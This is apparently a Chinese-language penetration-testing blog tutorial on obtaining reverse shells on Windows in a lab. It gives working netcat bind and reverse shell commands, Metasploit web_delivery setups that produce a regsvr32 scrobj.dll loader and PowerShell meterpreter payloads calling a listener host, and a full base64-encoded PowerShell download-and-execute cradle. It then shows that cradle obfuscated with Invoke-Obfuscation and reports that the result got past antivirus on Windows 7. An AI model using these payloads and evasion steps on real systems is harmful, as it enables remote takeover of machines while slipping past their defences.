前期我们大概总结了web渗透方面的各个漏洞的原理和利用方法,以及用实验给大家详细的讲解了,剩下的就是waf绕过原理和方法还没有讲解,在后期的文章中,我会陆续给大家总结一下waf绕过方法以及原理相关内容,这期文章我给大家主要讲解window上如何反弹shell,以及为什么要反弹shell,反弹shell的方法是什么,在后期也会介绍Linux反弹shell的方法给大家。这里我主要讲解几种常用的window反弹shell的方法给大家,内容有点多,请大家一定要仔细看完并勤加练习。
当正向连接不可达时候
1.客户机中了木马,但是在局域网内,无法正向连接。
2.由于防火墙和局域网的限制,对方只能发送请求,不可主动接受请求
反弹shell:控制端监听某个端口,被控制端发起请求到该端口,并将命令行的输入输出传到控制端
(1)环境搭建
win10,kali,nc工具(netcat)
(2)这里的工具大家可以从github下载,而且这个工具还要上传到对方的主机上,这又是一个技术,在后渗透过程中 ,我们也常常会接触到如何下载文件到对方主机上的操作,大家可以百度去搜索。
(3)所谓正向就是控制端去主动连接被控端,监听被控端打开的端口就可以了,这里就用nc工具来监听。
前提是要把工具下载到对方的主机上打开执行
分别打开他们的nc所在的目录运行nc.exe
被控端(win10):nc.exe -lvvp 6666 -e cmd.exe(win10)
控制端:nc 1921.68.222.4 6666(记住是被控的ip)(kali)
window打开
kali上监听
反弹shell成功
当我们需要看的更清楚的时候,我们可以修改一下编码
chcp 65001
实验成功。
被控端(win10):nc.exe -e cmd.exe 192.168.222.131 6666(控制端的ip)
控制端:nc -lvvp 6666
所谓反向shell就是被控端将cmd.exe传送到控制端的监听端口上,主动连接控制端的端口
window打开执行
kali上监听
反弹shell成功。
regsvr是window上自带的工具,可以直接打开使用,我们就使用它进行反弹shell
我们需要打开msf进行生成regsvr木马命令,到目标主机上执行
由于这个工具是用在web服务端的,所以我们要调用msf的web_delivery模块进行攻击,也就是前端代码script模块
前期就是设置一些模块的命令
use exploit/multi/script/web_delivery
set srvhost 192.168.222.131
set payload windows/x64/meterpreter/reverse_tcp
options
show targets
set target 3
set srvhost 192.168.222.131
set srvport 8080
set lhost 192.168.222.131
set lport 4444
exploit -j
这里解释一下set target 3是设置regsvr模块的
要设置什么,输入options查看就可以了
然后我们进行攻击exploit -j
这时就会返回一个木马命令
regsvr32 /s /n /u /i:http://192.168.222.131:8080/QIFom8ec4zaey.sct scrobj.dll
我们复制到win10上执行
再回到msf查看
发现返回了一个会话
sessions查看
set sessions 8
输入shell,反弹了shell
我们输入ipconfig看看
我们进行编码查看
chcp 65001
反弹shell成功。
powershell是一款十分强大的免杀工具,集成了多种免杀工具的使用,接下来给大家介绍最常用的powercat和Invoke-Obfuscation(代码混淆免杀工具)
我们打开msf的web_delivery模块,设置payload为window
我们设置一些命令,这里不在进行演示
powershell.exe
use exploit/multi/script/web_delivery
set srvhost 192.168.222.131
set srvport 8080
set lhost 192.168.222.131
set lport 7777
options
show targets
set target 2
set payload windows/x64/meterpreter/reverse_tcp
exploit -j
jobs
background(退出会话)
这里解释一下set target 2是设置了powershell(psh)模块
我们生成了powershell木马代码后,复制到win10执行,就可以返回会话了。
在kali查看一下
发现返回了会话
输入sessions查看,进入会话
我们输入shell,进行反弹shell
输入chcp 65001
查看编码后的shell,输入ipconfig
查看ip地址成功,反弹shell成功,实验结束。
Invoke-Obfuscation是一款代码混淆免杀工具,在低版本的win10和win7主机上是可以绕过杀软软件的。
(1)首先,window上是没有这个工具的,大家要自己在github下载
(2)找到这个工具的当前目录
cd Invoke-Obfuscation
输入powershell,进入ps中
Set-ExecutionPolicy Unrestricted(如果报错先执行这个)
输入这个加载模块
Import-Module .\Invoke-Obfuscation.psd1(在执行这个)
输入Invoke-Obfuscation(打开)
我们找一个没有进行编码过的powershell代码放入一个.ps1文件里
代码如下:
powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABiAF8ARgA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ADsAaQBmACgAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUAByAG8AeAB5AF0AOgA6AEcAZQB0AEQAZQBmAGEAdQBsAHQAUAByAG8AeAB5ACgAKQAuAGEAZABkAHIAZQBzAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApAHsAJABiAF8ARgAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcAZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAkAGIAXwBGAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIAMgAyAC4AMQAzADEAOgA4ADAAOAAwAC8AWgBHAEYAcgA0AEcALwBXAFUAMQBuAFcAMABNAEQAZgAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIAMgAyAC4AMQAzADEAOgA4ADAAOAAwAC8AWgBHAEYAcgA0AEcAJwApACkAOwA=
放入1.ps1文件中
设置scriptpath,输入
set scriptpath D:\Invoke-Obfuscation\1.ps1
token
all\1
out 123.ps1(就会在当前的目录生成一个123.ps1文件)
//123.ps1
.(“{0}{1}{2}”-f’p’,‘owershell.ex’,‘e’) -nop -w (“{0}{1}”-f ‘hid’,‘den’) -e (“{10}{13}{8}{21}{15}{20}{12}{5}{18}{19}{25}{2}{11}{14}{17}{23}{16}{24}{1}{6}{9}{4}{0}{3}{22}{7}”-f ‘AC8AMQA5ADIALgAxADYAOAAuADIAMgAyAC4AMQAzADEAOgA4ADAAOAAwAC8AWgBHAEYAcgA0AEcALwBXAFUAMQBuAFcAMABNAEQAZgAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAG’,‘BiA’,‘CQAbgB1AGwAbAApAHsAJABiAF8ARgAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcAZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAkAGIAXwBGAC4AUAByAG8AeA’,‘UAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIAMgAyAC4’,‘wAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAv’,‘AW’,‘GoAZQBjAHQAIABOAGUAdAAuAFcAZQBi’,‘EYAcgA0AEcAJwApACkAOwA=’,‘MAMQAyADsAJABiAF8ARgA9AG4AZQB’,‘AEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAG’,‘WwBOA’,‘B5AC4A’,‘BmACg’,‘GUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAH’,‘QwByAGUAZABlAG4AdABpAGEAbAB’,‘uAHcAZQBi’,‘BhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQw’,‘zAD0AWwBOAGUAdAAuAEMAcgBl’,‘wBTAHkAc’,‘wB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUAByAG8AeAB5AF0AOgA6AEcAZQB0AEQAZQBmAGEAdQBsAHQAUAByAG8AeAB5ACgAKQAuAGEAZABkAHI’,‘AGMAbABpAGUAbgB0ADsAaQ’,‘3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAA’,‘AMQAzADEAOgA4ADAAOAAwAC8AWgBHA’,‘AGQAZQBuAHQAaQ’,‘ByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0Abw’,‘AZQBzAHMAIAAtAG4AZQAgA’)
打开msf的script模块
use exploit/multi/script/web_delivery
set srvhost 192.168.222.131
set srvport 8080
set lhost 192.168.222.131
set lport 7777
options
show targets
set target 2
set payload windows/x64/meterpreter/reverse_tcp
这里的set target 2同样设置为powershell(psh)模块
在目标主机的终端,在当前文件路径下输入执行123.ps1文件(记得是123.ps1文件所在的目录执行)
输入powershell -f 123.ps1
就会在kali返回会话
我们返回了会话,接下来进行反弹shell
输入shell
输入chcp 65001
查看编码后的shell
我们可以测试一下是否可以绕过杀软软件
我测试了一下,由于我的win10的版本过高,无法绕过杀软工具
所以我用了win7进行了测试,我们打开火绒软件
这是没有进行编码后的代码
被杀掉了,我们看看编码后的123.ps1文件
发现没有被杀掉,实验成功。
本次实验简单介绍了window上常用的几种免杀工具的使用方法,当我们无法进行正向连接shell的时候,就可以进行反向连接shell的方法进行测试,后期我会介绍在Linux上反弹shell的几种方法。